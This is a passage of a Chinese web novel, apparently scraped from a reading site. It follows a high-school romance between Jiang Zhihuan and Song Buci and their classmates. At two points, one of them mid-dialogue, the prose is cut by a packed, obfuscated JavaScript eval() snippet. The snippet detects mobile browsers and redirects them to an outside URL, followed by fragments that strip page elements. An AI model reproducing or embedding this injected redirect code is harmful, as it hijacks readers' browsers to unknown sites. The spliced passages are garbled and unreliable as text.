和头发丝划过手臂的感觉完全不同,这份触感更为强烈,能感受到她手掌传来的温度。 宋不辞喉结微动,懵圈须臾,有些无奈地笑道:“你就算是看上了我的戒指,也不能明抢啊。” “你脸怎么了?谁打的?”姜知幻不松手,甚至抓得更紧了,还把人往自己跟前拽了拽。她面色不变,眼里带着火。 宋不辞没想到自己受伤,她会这么生气。他若有所思地看了近在咫尺的她片刻,谈笑自若道:“姜同学,大庭广众之下拉拉扯扯不好吧。” 姜知幻猛地回神,自知唐突的举动容易招人讨厌。她松手,诚恳地说了声:“抱歉。” “不小心被打的,以后不会了。”宋不辞跟她讲明,语气温柔又矜重,像是在诉说着一个承诺。 他垂眼,长而密的睫毛在眼下投出浅浅阴影。 宋不辞好像在顺着她。 意识到这点,姜知幻目光复杂,心头涌出些无法言喻的情绪来。她这才把注意力放到宋不辞手上,发现右手的无名指和食指上戴着戒指。 然后视线偏移,她又看到他手上拿的东西,一样是许多白色小花被一根绿色丝带串连起来,像手链。另一样是他左手拎着的袋子,上面印着“LAVENDER”的字样。 感觉到有东西压在右手腕,姜知幻眼珠一转,只见宋不辞把那串花做的手链戴在她手上,娴熟地系了个蝴蝶结。 “茉莉花?”姜知幻看着这条别样的手链,凑近鼻尖闻了闻,花串散发的清香混杂着他身上那股淡淡的柠檬气息。 “嗯。”宋不辞说,“来的路上见有人卖。” 姜知幻还是第一次收到茉莉花手链,以前从来没见过。 她问:“你给别人买过吗?” “没。” 简洁的一个字,让姜知幻眼角弯弯,狂躁不安的心稳定些许。 “一条手链就这么开心,你是不是太好哄了点?”宋不辞晃了晃左手拎的袋子,说,“蛋挞。” 在互问互答中,姜知幻说过她喜欢LAVENDER家的蛋挞。 “顺路买的?”她接过,随口道。 “特意买的。”宋不辞微微俯身,同她平视,优哉游哉地说,“你说过吃甜的心情会好点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13815155|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他轻挑了下眉梢,一副“看吧,你说的话我都记得”的表情,像只求夸奖的快乐小狗。 听宋不辞这么一说,姜知幻收敛笑意,放下袋子,丧眉耷眼道:“其实吧,我心情还是不太好。” 这秒换表情的本领,川剧变脸都得甘拜下风。 宋不辞一眼识破她的意图,直起身,闲闲地瞥她,心说也不知道刚才龇个大牙乐的是谁,想被哄直说。 “走吧。”他一只手覆在她头上,极轻地揉了两下。 或许是他动作太过温柔,姜知幻都没反应过来自己被摸头了。她看着他收回的手,问:“去哪儿?” “我家。”宋不辞薄唇微扬,说,“有投影仪。不是约好要一起再看一遍那部电影吗?” - 奶奶去世前,单独给宋不辞和宋理枝各留了一套房子,家里其他人对这件事毫不知情。 宋不辞偶尔叛逆不想回家时会来这儿。 他从鞋柜里拿出一双未拆封的一次性拖鞋,让姜知幻先将就穿着。 姜知幻扫视一圈房内构造,复式江景房,整体装修是意式轻奢风,客厅采用无主灯设计,摆放着visionnaire微笑沙发,站在落地窗前,可以俯瞰整个临滨路的夜景。 她打趣:“五星级酒店啊。” “除了保洁阿姨和我弟,没别人来过。”宋不辞笑着解释。 一次性拖鞋还是保洁阿姨跟他熟悉后,擅作主张放的,说就算宋理枝不经常来,但备着总比没有好,别到时候又让人家光脚。 偌大的房子一个人住,难怪没什么人气,倒是处处充满贵气。 “你没跟父母住吗?”姜知幻问。 她以前没去过别人家,这是第一次。宋不辞在开中央空调,没说其他话。不知道该干嘛,她索性拎着袋子跟在他身后,打量着一楼的家具,有感兴趣的小玩意儿也只是多看两眼。 “两边都住。”宋不辞答的简明,看了眼站在身边的姜知幻。他知道她不是因为拘谨,而是出于客随主便的礼仪。 “不用管我,把这儿当自己家就行。”宋不辞说。 姜知幻应了声好,点头点得干脆,好似就特意在等他这句话,才好伺机而动。 她走向客厅中央,脱鞋,赤脚踩在地毯上,一点不客气地盘腿坐于沙发和茶几中间,把袋子放到茶几上,拿出蛋挞。就真把这儿当自己家了。 只听“滴”的一声,两边窗帘往中间靠拢,与此同时,投影幕布上亮起了光。 “冰柠檬水,喝吗?”宋不辞弄好一切,问。 姜知幻咬了口蛋挞,用盒子在下巴处接着,留意残渣有没有掉在地毯上,“可以。” 宋不辞关上冰箱,拿着两瓶冰饮走过来,借着投影仪的光芒看她这幅模样,好笑道:“坐这儿干嘛?沙发上去,这么坐久了腿会麻。” “哦好。”姜知幻吃完蛋挞,一骨碌就起来了,坐到他身边。 两人的距离挨得挺近,稍微动一下彼此衣袖就能碰到。 “是那部电影吗?”姜知幻看着熟悉的开场,没话找话道。 宋不辞低声笑了下,不知是不是氛围的加持,他的语气听起来莫名有几分缱绻暧昧,假眉三道地说:“不是,是恐怖片。” 姜知幻捞了个抱枕抱着,靠着沙发背。她打了个哈欠,飞机上没困,这会儿却有点困了。 于是理直气壮地甩锅,“那怎么办,我看恐怖片容易犯困。” “睡呗。”宋不辞喝了口饮料。 姜知幻向他伸手,意思是我的呢? 宋不辞见状,拿起茶几上放着的另一瓶,手还没触及瓶身,就听她不怀好意地笑笑,说:“你手上那瓶给我,我也不介意。” 他手上那瓶是他刚喝过的。 “你想得美。”宋不辞眼神冷嗖嗖地看了她眼,端着一副洁身自好你别肖想的模样。 他无名指和食指搭在瓶盖两侧,然后一拧,轻而易举地开了瓶盖。 单手开瓶盖,挺酷。 姜知幻接过时,不太正经地吹了声口哨。她喝了口,把饮料放回去,拧上盖子。 两人谁也没再说话,又或是都想感受当下这份安静。 一半心思在电影上,一半在对方身上。 不知过了多久,宋不辞感觉右肩一沉,稍稍动下脑袋,脖侧就有细软的发丝挠痒痒。 姜知幻靠在他肩上睡着了。 宋不辞身子僵直一息,没人看见爬上他耳根的红晕,以及不自觉弯起的唇角。 电影中的凯里话似一阵潮湿晚风,悠悠荡荡,如坠梦境。 “一定有人离开了会回来,腾空的竹篮装满爱……” … 姜知幻这一觉睡得安然,迷迷糊糊睁开眼时,投影仪已经关闭,房内漆黑阒然。 她半眯眼,看着坐在沙发和茶几之间的少年,他低着头,单手持手机,微弱的莹白光芒亮着,照清轮廓分明的侧脸。 “宋不辞。”姜知幻坐起来,盖在身上的灰色毯子随之滑落。她轻轻叫了声,目不转睛地看着他。 因睡意尚存,少女语气有些迷蒙,眼神也还没怎么聚焦。 “嗯。”宋不辞懒漫地应了声,没扭头看她,只拿起地上的遥控器按了下。 客厅窗帘自动往两边滑动。 姜知幻闻声,视线缓缓移向落地窗。 金乌西沉,橘红色晚霞铺陈整个天空,光辉灿烂温暖,躺在地板上,也染在少年的发丝上。 这一觉原来睡了这么久吗?姜知幻眨了下眼,看着眼前这幅如油画般的场景,蓦地怦然心动。 她觉得自己的心动就像烟花,绽放得突然,表面盛大绚丽,留下的却是垃圾。又因声响震耳欲聋,所以那些不堪的杂念即便说出,也易于掩盖。 但,哪怕无人在意也能乐在其中。 “你干嘛坐在这儿?”姜知幻问。 宋不辞将手机和遥控器撂到茶几上,慢吞吞地站起身,揉了揉发麻的腿。 他说:“怕某人睡觉不老实,摔下来。” “那就把某人抱到你床上睡。” 用最平淡的语气说出最肆无忌惮的话。 宋不辞嗤笑一声,居高临下地看着坐在沙发上醒神的人,抬手,弹了下她的脑门,“做你的春秋大梦去。” “只要你配合,梦想就能成真。”姜知幻脸不红,心不跳道。他的力道很轻,还没蚊子咬一口来的痛。 “晚饭想吃什么?”宋不辞不接招,边问,边走向厨房。 姜知幻瘫在沙发上,一点不肯动弹,“都行,你看着来。” 她说完,恍然觉得这样的对话像是老夫老妻一般。 宋不辞经常一个人待在家,下厨对他来说是家常便饭的事。他挑好食材,自顾自忙活了。 姜知幻望着窗外的落日,背景音乐是炒菜声。落日在她眼中渐渐消逝,直至夜幕降临,宋不辞也做好饭了。 “在想什么呢,吃饭了。一直维持这个姿势,脖子不酸吗?”宋不辞脱下围裙,顺着她的视线瞧了眼夜色。 姜知幻脱口而出:“在想抓月亮。” 宋不辞透过玻璃,没看见有月亮。 “抓月亮,语文周考,我的作文题目。有意思吧?”姜知幻笑着直起身,揉了揉发酸的脖子。 宋不辞没说话,只不明所以地看着她。 姜知幻伸了个懒腰,舒展肢体,她穿上鞋往餐桌走,没管他。 仿佛并不在意他会不会回答。 “挺有意思的。”宋不辞的声音自她身后响起,越来越近,“不过,为什么要抓月亮?让月亮围着你转不好吗?” 让月亮围着你转不好吗? 姜知幻闻言,怔了怔。 宋不辞的话好像给了她一个从未设想过的选择。 姜知幻落座,扫了眼桌上的三菜一汤。 都是她爱吃的。 “吃完饭打算去哪儿?”宋不辞在她旁边坐下,盛了碗饭。 姜知幻拿起筷子,“回家写作业,一道题都还没写呢。” “需要代写吗?”宋不辞将盛好的饭放在她面前。 姜知幻看他,“你吗?” “专业代写,模仿各种字迹,保证不会被发现。”宋不辞说,广告词念得相当熟练,“999一科,心动不如转账。” “太贵了,要不起。” “那给你打个折?” “几折?” “九点九折。” “……”姜知幻盯着他脸上那块青,怎么看怎么不顺眼,“还疼吗?” “现在想起来关心了?”宋不辞勾唇笑,“那你呢,心情好点没?” 姜知幻没说话,想听他先回答自己的问题。 谁知,宋不辞说:“你的答案就是我的答案。” 16. Chase 由于潜在顾客在一天之内完成了假期作业,所以宋老板精心谋划的代写业务至今没有开张。 顾客人美心善,虽没为他的宏图大展添砖加瓦,却也中肯地提议,让他放宽目标群体范围,看看寒暑假的小学生和初中生,说不定就碰到容易上当受骗的同学。 然而宋老板是个固执而有原则的奸商,唯独中意她这一个顾客。 姜知幻深思熟虑后,敲下一行字。 姜郎不才尽:亲,这边建议你关门大吉 serendipity:关不了 serendipity:老板人傻钱多,就爱搞点这种副业 姜知幻脑中自动带入他那欠儿欠儿的、漫不经心的腔调,笑得不行。 - 回校当天是周末,姜知幻上楼时,几个同学嗖地一下擦肩而过,脚步急促。 “据前线报道,好像是回来了。” “他真假唱了?” “网传不还说抄袭吗?” “真假参半吧,但回来肯定是因为没通告跑了,谁会跟钱过不去。” 从寥寥几句对话中,姜知幻大致猜出了个七七八八。 冯潇潇的偶像、她那个大半月没来上课的同桌来学校了。 三楼走廊里,零零散散地站了些人,比平时多,却也没到围个水泄不通的程度。 姜知幻略感意外,一般来说,身上有争议的公众人物到哪儿都最受人注目,甭管认识不认识,有些人就爱去凑热闹嚼舌根。以闻雨的流量,人不应该这么少才对。 大多数人都只是鬼鬼祟祟地远观,往一个方向望去,胆子大点的男生堵在卷心菜班后门口,看一眼教室内,又跟其他朋友嬉笑讨论。 那副嘴脸,像极躲在暗处的网络喷子一下子见到了光。 对方意气风发时,键盘是他的另一张嘴,一旦对方有了落井下石的苗头,真正的嘴便解封了。 “看吧,我早就说他是那样的人,你们却不信。”男生耻笑,带着众人皆醉我独醒的得意与傲然。 可教室里的温玉正同两个少年谈笑风生,听见后淡然置之,视若无睹。班里其他人也只是看笑话一样看他一眼。 男生吃瘪,用手捣了捣自己的朋友,众目睽睽之下,似想获取更多认同。 姜知幻就是在这时站在他面前的,她看他,眼底不带情绪,只客气地说了句:“同学,可以让个道吗?” “好…好的。”男生忙不迭点头,往旁边大跨一步。 这个漂亮妹妹他还从未见过。 漂亮妹妹踏进教室,转身,冲他微微笑了下,看起来又乖又甜。 男生那身“浩然正气”瞬间荡然无存,毛头小子般挠挠头,开口想问联系方式:“那个……” “你的嘴是长键盘上了吗?” 少女声音淡冷,语必,毫不留情地关上门,将他后面要说的话全打回嗓子眼。 完事儿,姜知幻潇洒地勾起唇角,顺手斩断了烂桃花。 她目不斜视地走向座位。 “我靠,老六你看见没?”范洋语气惊叹,“我一直以为新同学是那种不谙世事的乖乖女,没想到人还挺不怕事。” 那男生是楼下文科班的,长得人高马大,一脸凶相,他不是一次两次当正主面飞扬跋扈,只是温玉懒得搭理。最初班里的同学也会帮忙打抱不平,后来习惯了,看门外的他就像看跳梁小丑,还别有一番风味。 好歹是同窗,大家心里都有数。音乐课上温玉曾即兴弹唱过一段,没有修音没有麦克风,他甚至都没有提前准备过,在全班人起哄下就去了。 现场唱的比视频里还要好听。 有同学意犹未尽,问他歌名,他说还没想好。而两周后,他的新歌上架各音乐平台,那位同学知道了歌名。 因此,如果有人说温玉假唱,卷心菜班的人第一个不信。这个班凝聚力很强,氛围也很好,可以说,班里谁去关上那扇门都不意外,但唯独姜知幻出手,会引起一阵骚动。 毕竟大部分同学跟她不怎么熟,心里还没完全接纳这个新同学。 “漂亮啊。” 一道低音烟嗓传来,不轻不重,刚好整个班都能听见。 周围的人都能听出这句不仅仅是夸外貌漂亮。 姜知幻放下书包,没急着坐,先是垂眸看了眼反向跨坐在椅子上,懒洋洋支着下巴的宋不辞。 他翘着嘴角,微微歪头,看起来罕见的乖顺,和昨晚说“你可以亲回来,我不介意”的混账样完全是两个人。 然后她听见旁边人说话,扭头。 温玉没骨头似地背靠着墙,主动打招呼道:“你好,我叫温玉,温润如玉的温玉。” “姜知幻,知道的知,幻想的幻。”姜知幻礼尚往来,目光在他脸上多停注了两秒。 “经常听宋不辞提起你,今天终于见到本人了。”温玉杏眼弯弯,暧昧不明的视线飘向宋不辞。 不知是不是他最近慢歌唱的比较多,还是那副天赐的嗓子本就磁性迷离,讲什么都字字抓耳,宛若在说情话。 导致姜知幻觉得这句话不像调侃揶揄,倒更像正宫示威。她看温玉的眼神逐渐变得幽沉,没记错的话,冯潇潇说过,他出道十几年没有任何绯闻。 “你这多嘴的毛病是一点没变。”宋不辞飞快瞧了眼姜知幻的表情。 敏感察觉到不善的目光,温玉看向姜知幻,“怎么了?” “没什么。”姜知幻坐下,面上毫无破绽地扔了句,“你真人比照片好看。” 温玉挑眉,欣然接受夸赞,看她的眼神温柔如春水,“漂亮人说漂亮话。” 宋不辞冷冰冰地睨了他一眼,别见一个就想撩一个。 温玉正色,挺无辜地耸耸肩。 夏闲看热闹不嫌事大,“他不一直都这样吗,你睨他干嘛,心里不爽?” “我也睨你。”宋不辞没好气道,突然想起什么似地问,“你妹现在还叫夏雨吗?” 听到不熟悉的名字,姜知幻的注意力重回宋不辞身上,温玉看着他们。 “改名了,叫夏野。”有不知情的人在听,夏闲也没避讳,直说。 宋不辞:“你们见过了?” “没,听江鸿说起过,跟你弟读同一个初中。”夏闲自嘲地笑了笑,“我倒是想见。” 宋不辞迟疑了下,“我前天在饿了遇见她,不知道跟谁打了架,脸伤得挺严重,她拿着烟和酒打算付账。” “你让她买了?!”夏闲脸上写满了不可思议,声音都提高了两个度。 开学以来,姜知幻见他最有精神气的一次。 “没,我给她收了。”宋不辞觉得还是得让他知道,一股脑全说了,“我听我弟说她过的不怎么好,被造黄谣。” 姜知幻自认为是同情心较为薄弱的那一类,除了亲人和喜欢的人,旁人不管发生什么事,她一概袖手旁观。 可最后四个字像是砸下来般,再硬的地面都能留下点痕迹。 初中?被造黄谣? 真该撕烂罪魁祸首的嘴。 “虚假的同情心薄弱。” 未知生物的声音不合时地响起。 姜知幻对它已经习惯置若罔闻了。 夏闲唇线渐渐拉得平直,平静得没有任何情绪波动。 姜知幻有些看不透他的神情与眼神,不像是被气到失语,倒不如说是自责,羞愧面对某人。 谣言不是他发起的,为什么要自责?解决问题的根本不应该是找到制造问题的那个人吗? 她看向宋不辞,眼里有的是求解二字。 就如当初不理解起班名为什么有利于破冰。 宋不辞留意到姜知幻的目光,只是跟温玉一样,沉默地等待夏闲的反应。 “走了。”夏闲简练道,抓起桌肚里的书包就起身。 “诶。”温玉忽地出声,从裤兜里摸出一张卡,大气地扔给他,语气玩世不恭,“密码一到六,就当是给你妹的见面礼。” 宋不辞揶揄,“铁公鸡居然也有舍得拔毛的一天。” “谢了,以后还。” 夏闲接住卡,一眼没看地丢进书包,拉上拉链,赶在上课铃响起的前一秒,出了教室后门。 接下来一整天,教室里都没有他的身影。 - 下午最后一节是班会,简单总结后,关顺说:“剩下的时间大家想想新的班名,有心仪的就举手说,班长在黑板上记下,最后投票。” 她话音刚落,范洋就高喊:“我觉得‘喜气洋洋班’听起来还不错!” “咦——”全班嫌弃。 “班长别给他写!范洋,你还能再幼稚点吗?”冯潇潇隔着三列人驳斥。 “就是,多大个人了,还喜欢看喜羊羊。”宋不辞顺嘴调侃了句,转身问姜知幻,“元芳,你怎么看?” 众人的目光瞬间汇聚过来。 姜知幻本没有参与的打算,突然被cue,倒也十分配合,想了想,说:“要不叫‘补习班’?” 众人哈哈大笑,温玉佩服同桌的脑回路,附和道:“听起来不错,我喜欢。” “神特么补习班哈哈哈,这个我必须给一票。” 冯潇潇抓住同桌的手高高举起,“我和我同桌双手赞成,四票。” “我还能举脚,一个人就有四票。” “哈哈哈哈哈哈哈——” 看着底下一群乐不可支、怪态百出的猴,站在讲台边上的关顺摇头失笑。 韦枫玥拿起粉笔,在黑板上写下“补习班”三个字。 有些事,只有亲身经历后才能通晓。 姜知幻看着说说笑笑的大家,算是明白为什么起班名能破冰了。 … 晚饭时间,姜知幻照旧同韦枫玥她们一起,不过这次冯潇潇神神秘秘地说自己去操场有事,给她带个凉面。 食堂里的人摩肩接踵,齐思先去占位置了,韦枫玥想吃自选菜,凉面窗口比较快,姜知幻买完先去找齐思。 “幻姐,这边。” 爽朗的男生穿透人群。 姜知幻大老远就看见范洋向她招手,她脚步一顿,又看了眼站在他对面,神情局促的齐思,然后顶着四面八方的目光,茫茫然走过去。 他刚叫我什么?幻姐? 范洋重度自来熟,人笑得傻兮兮,说:“刚找位置时,老宋看见你们进食堂,就顺便多占了三个,这不齐思来找座位,我就让她坐这儿了。对了,冯潇潇平时不都跟你们一起吗?今天怎么没来?” 齐思不习惯被太多人盯着,刚才范洋那一嗓子引来的注意简直是要她的命,恨不得当场找条地缝钻进去。 她脑袋埋得很低,没说话,只一个劲儿地点头,表示事情就是他说的那样。 “谢谢,她有事。”姜知幻看看他,又看看埋头吃饭,不发一言的秦六佑。 她放下手中东西,“宋不辞呢?” “他打汤去了,你要喝汤吗?就在那边。”范洋指了个方向。 姜知幻只是没见到他,所以随口问一嘴。 她说:“我和齐思去找班长,她一个人应该不好拿两份餐盘,麻烦你们再帮我们看一会儿位置。” 齐思顿时如获大赦,即刻起身,挽着姜知幻的手臂走人。 范洋大手一挥,拿起筷子夹了片肉,“多大点事儿啊,你们快去吧。” 姜知幻和齐思到自选菜窗口时,韦枫玥前面还有三个人。她们闲聊一阵儿,将位置的事给韦枫玥说明,打完饭后,齐思忽然说想喝汤。 于是两人陪她去了。 今天是酸菜粉丝汤,刚好正在舀汤的是宋不辞,顺便帮忙多打了一碗,省得排队。 “谢谢。”齐思脸一红,羞赧地垂下头。 宋不辞看了眼她双手端着的餐盘,说:“没事。走吧,我帮你端过去。” 姜知幻的目光在两人之间游走,没说话。 这是姜知幻吃过最吵的一顿饭,主要是范洋话太密了,叽叽喳喳说个不停,时不时跟秦六佑打情骂俏一下,把其他人逗得捧腹大笑。 姜知幻和宋不辞吃饭速度较快。 桌底下,宋不辞的脚尖碰了碰对面姜知幻的脚尖,问:“去看帅哥美女吗?” 任何颜控都无法拒绝的邀约。 姜知幻眼睛一亮,“哪儿?” “操场。” “去。” 一锤定音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13856450|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们先走了,你们慢慢吃。”宋不辞起身收拾餐盘时,顺便将姜知幻面前的碗筷也收了。 范洋都没享受过的待遇,他百思不得其解,嘀咕:“你俩关系是怎么突飞猛进的?” 姜知幻闻言,翘起嘴角,手里拎着给冯潇潇打包的凉面,对韦枫玥和齐思说,“应该能跟冯潇潇碰上,我给她带回去了。” … 操场和食堂的人流量不相上下,两人并肩漫步在跑道上,广播里放着闻雨的《Butyouhaveamouth》,是首怼黑粉键盘侠的歌,歌词里的讽刺意味很浓。 “Althoughyouareasblindasabatandairhead,youhaveamouth……” 尽管你有眼无珠,脑袋空空,但你还有嘴。 “假公济私啊。”宋不辞轻声笑了下。 姜知幻看他。 “温玉是广播室的音效师。”宋不辞说。 这首歌放出来针对的是谁,不言而喻。 温玉的歌太多,姜知幻不追星,只听过几首,经他一说,恍然:“这样啊。” “我们三个从小就认识,夏闲初中一直在海市,高中转学回了江城。”操场上起风了,夹杂着宋不辞的声音送入姜知幻耳中,“他转回来,是为了找他妹妹。” 姜知幻晃了下神,反应过来他是在解释上午的事。 “他家庭有点复杂,因为一些事,觉得很对不起他妹。”宋不辞娓娓道来,“不过他妈和我妈一样,看得严,上下学都要派人接送。” 难怪放学后不跟她一起走了。 现在的家长,掌控欲都这么强吗? “原来是个妹控。”姜知幻简单总结,“你跟我说这些,夏闲不会介意吗?” “他要是介意,上午就不会当你面提他妹了。”宋不辞一只手懒散地搭上她的左肩。 姜知幻“哦”了声,忽地说:“温玉和网上有点不一样。” 网上是公司安排的傻白甜人设,私底下本质是个妖艳贱货风流公子,能一样吗。 宋不辞腹诽,他张嘴要说些什么,却被打断。 “他喜欢男生?”姜知幻声音虽小,语出惊人。 宋不辞思维迟钝两秒,保守道:“应该不喜欢。” 性取向方面的事,倒是没听温玉提过。 姜知幻“哦”了声,想来这个问题敏感又隐私,自己突然问太冒昧了。但她就是没忍住。 “什么叫应该?我本来就不喜欢。”温玉的声音蓦地从身后响起。 操场人多眼杂,他却坦然十足。 “草!”宋不辞被吓了一跳,猛然回头时下意识抓住姜知幻的手臂。他看着嘴边挂着得逞笑意的温玉,“你属鬼的?” 温玉眼神下垂,凑近宋不辞,喁喁私语道:“这么紧张干嘛?你俩在谈恋爱?” 姜知幻顺着他的视线,看着抓住自己手臂的那只手。 “没有。”宋不辞立马松手,越看他越觉得碍眼,“你什么时候开始偷听的?” “就……”温玉停顿一下,意味不明地看了眼姜知幻,“我同桌问你‘他喜欢男生’的时候。” “同桌就同桌,加什么我。”宋不辞拉着姜知幻,“走,别理他。” 啧啧啧,见色忘友。 温玉欢快地哼着小曲,落后几步跟在两人身后,想起上午姜知幻看自己的眼神。 敢情是把他当情敌了啊。 羽毛球场,一位身着白T的少年仰头,望着空中羽毛球的行动轨迹,后撤两步。 “慢点小江,差点撞上人了” 一阵散漫调笑声响起。 江鸿挥拍,球打过去后,转头看着身后三人,“辞哥,温玉哥,你们怎么来了?这是?” “来看看你们。”宋不辞笑,介绍道,“姜知幻,知道的知,幻觉的幻,我闺蜜。” 姜知幻:“……” 他是跟“闺蜜”这个称呼过不去了吗? “你好,我叫江鸿,江边鸟的江鸿。”江鸿笑起来,眉眼间都是灿烂的少年气。 姜知幻轻提嘴角,微微颔首。 “听说云砚转到三中来了?”宋不辞目光搜寻,见云砚拿着羽毛球和拍子走过来。 温玉和旁边区域打羽毛球的一男一女在聊天,女生活泼开朗,声音洋洋盈耳,开心地挥手,跟宋不辞打了个招呼。 姜知幻视线在陌生四人之间来回逡巡,心里疑惑宋不辞的朋友怎么都长得这么好看,然后,她看见了不远处、坐在看台上满脸震惊的冯潇潇。 两人大眼瞪小眼。 … “所以,你说的有事就是来看心动对象?” 姜知幻和冯潇潇走在前,宋不辞和温玉跟在后面。 “我也不想啊,可是学弟长得实在是太对姐姐胃口了。”冯潇潇笑得心花怒放,随即又悄咪咪地问,“你跟宋不辞进展到哪一步了?” 姜知幻用“你心里又在打什么算盘”的质问眼神看她。 “哎,果然逃不过你的法眼。”冯潇潇坦白,“我打听过了,江鸿和宋不辞关系不错,就想让他帮忙搭线。” 姜知幻看着她饱含期待的眼神,于心不忍地叹了口气,说:“你坐哪儿看了那么久,难道没发现你的心动对象也有心动对象吗?” 冯潇潇脸上的笑容瞬间消失殆尽,“谁?和他一起打羽毛球的女生?” 姜知幻:“嗯。” “啊——我不听我不听,只要没听见,就不知道他有喜欢的人。”冯潇潇强忍崩溃,悲伤道。 “那小子从小到大就没变过心。”宋不辞欠兮兮地添堵道。 冯潇潇瞪他,“你个小人,偷听我们说话!” “你心碎的声音太大,实在不能假装没听见。”宋不辞用手肘戳了戳温玉,“对吧?” 温玉温和地笑笑,不置可否。 宋不辞帅是帅,但人太欠了,所以冯潇潇不喜欢。她喜欢温柔挂的,比如温玉,比如江鸿。 冯潇潇很快从失恋的悲伤走出来,“没事,我还有温玉。” 只要广撒网,不愁没有心动对象看。 温玉:“……” 17. Chase 由于月考在即,这周周考取消,让大家专心复习。 新班牌取代旧班牌,卷心菜班也变成了补习班。江城难得下了两天大雨,是要降温的前奏。 夏闲请假的第二天,宋不辞抽屉里凭空多出盒防水创可贴,附着一张粉色便签纸,没写字没署名,只画了个笑脸表情。 一看就不是姜知幻的风格。他浮皮潦草地看了眼笑脸,提笔在下方写字,随即原封不动地放回原位。 夏闲请假第三天,姜知幻嫌手链存活期太短,难过了三分钟,宋不辞趁中午吃饭的时间出校,给她重新买了条茉莉花手链,不会枯萎的那种。 夏闲请假的第四天,温玉的假唱抄袭得到澄清,同时,他和公司的签约到此结束并宣布隐退两年,记者们举着长枪短炮问他为什么。 他一身休闲装出面,看起来随心所欲,给的理由却十分富有正能量:“安心准备高考,尽绵薄之力,为祖国的繁荣富强添砖加瓦。” 全体记者静默。 半小时后,名为“预测闻雨高考多少分”的词条一跃成为热搜第一。 夏闲请假了一周,回来那天脸上带着将消未消的巴掌印,他把卡给温玉,说了句:“见面礼,还你。” 人还是那副懒蔫冷然样儿,只是黑眼圈重了点。 “妹妹怎么样?”温玉问。 夏闲侧头笑,近段时间来唯一由衷的、卸下某种负担而感到轻松的笑,“没见到。” “那一巴掌把你打傻了?”宋不辞指间转动的笔一停,匪夷所思道。 夏闲心情不错地扯了下嘴角,没跟他呛,翻看了下桌面的积攒的试卷。所有卷子根据科目归类,井然有序地叠在一起,明显是有人帮他整理过。 一周没来,有够忙的。 “谢了哥们。”夏闲拍宋不辞的肩,顺便借了各科笔记。 他从后门进来,发出的动静小,又正值下课期间,大家都牟足了劲儿埋头苦学,连去上厕所的人都少了,自然少有人注意。 连离得近的姜知幻都是夏闲开口时才发现,她在琢磨物理最后一道大题,卷子是上节课发的。她有个习惯,别人都是先易后难,从前往后做,她偏偏喜欢从后往前做。 好在姜知幻懂得取舍,发现题难度大不会死磕到底,要不然高一物理老师会耳提面命地纠正这坏毛病。 温玉见此,好奇地问她一般玩游戏,是不是开局就直奔大boss? 姜知幻:“我一般不玩游戏。” “宋不辞特别喜欢玩游戏来着。”温玉语气里带着可惜,见同桌对他爱答不理,于是用笔头戳戳左前方的人,说,“辞辞,这道题人家不会,你给人家讲讲嘛。” 姜知幻闻声,当即拧眉,磨牙凿齿地看向他,怀疑自己给他的好脸色太多,差点气笑,“你叫他什么?” “辞辞啊,好听吗?”温玉笑容天真,饶有兴致地看着她,没想到自己三言两语就又树敌一人。 姜知幻眼里压着微弱火星子,心里默念别跟他计较,他是宋不辞的朋友,他俩关系不错,他帮过宋不辞。 宋不辞察觉她眼里有杀意,心觉荒唐地笑了下,这算哪门子醋? 温玉的恶趣味无差别地捉弄每个人,他指了下物理试卷最后一道大题,对姜知幻笑得讨好,说:“同桌,要不你给我讲吧,他没做出来。” “行啊。”姜知幻巴心不得他少对宋不辞说点骚话,拇指按了下笔帽,将自己的草稿本扯到两人桌子中间,飞快写下解题过程。 宋不辞不乐意了,对于他来说,“没做出来”四个字的杀伤力不亚于“不行”二字。 他轻啧一声,大言炎炎地纠正道:“什么叫我没做出来?我那分明是还没做,正常人都先从第一道题开始好吧。” 姜知幻放下笔,和温玉一样看了看她桌面上摊开的物理试卷,又看了看他。 后者还幸灾乐祸地勾了勾嘴角。 “我后桌那是有先见之明。”宋不辞面不改色地找补,无意瞥了眼草稿本,瞬间明白姜知幻为什么能一天之内做完十几张试卷。 过程不是一点一点细致地铺述,看得出讲题人的耐心并不足,但潦草几行拎出了该有的重点,他读完题干再把步骤带进去,便一眼明了。 温玉成绩不差,哪怕工作再忙都没荒废学业。半工半学状态下,还能以年级二十几名的位置进入补习班,可见他的学习能力有多强。 不过这道压台题难度有些超标,他落下近半个月的进度,如此简略的解题步骤,自然不能一下子理解过来。 “这什么玩意儿?”温玉感觉自己的智商受到了碾压。 “这不一目了然吗?”宋不辞把幸灾乐祸的笑容还给他,嘴欠道,“看来你还是不太行啊,小伙子。” “多练。”姜知幻补充。 温玉无言以对地笑笑,拿过草稿本仔细研究,“诶,我就不信我看不懂了。” 姜知幻和宋不辞兴致淋漓,会心而笑,像是携手合作打赢了一场漂亮的仗。 - 三中对于活动的开展和安排力求精彩,全面为学生考虑,希望每一场都能给同学们留下好印象。 这不,国庆假期后才举办运动会,现在就早早准备,下午第二节课后打印分发好报名表,校领导还广播通知,如果同学们对这次运动会有创新有趣的点子,欢迎大家去建议墙踊跃发言。 韦枫玥拿着报名表挨个问过去,最后来到靠后门的两排。 夏闲正找宋不辞要英语试卷对答案。 韦枫玥把表往前递了下,温声说:“有感兴趣的项目可以在后面写上自己的名字。” 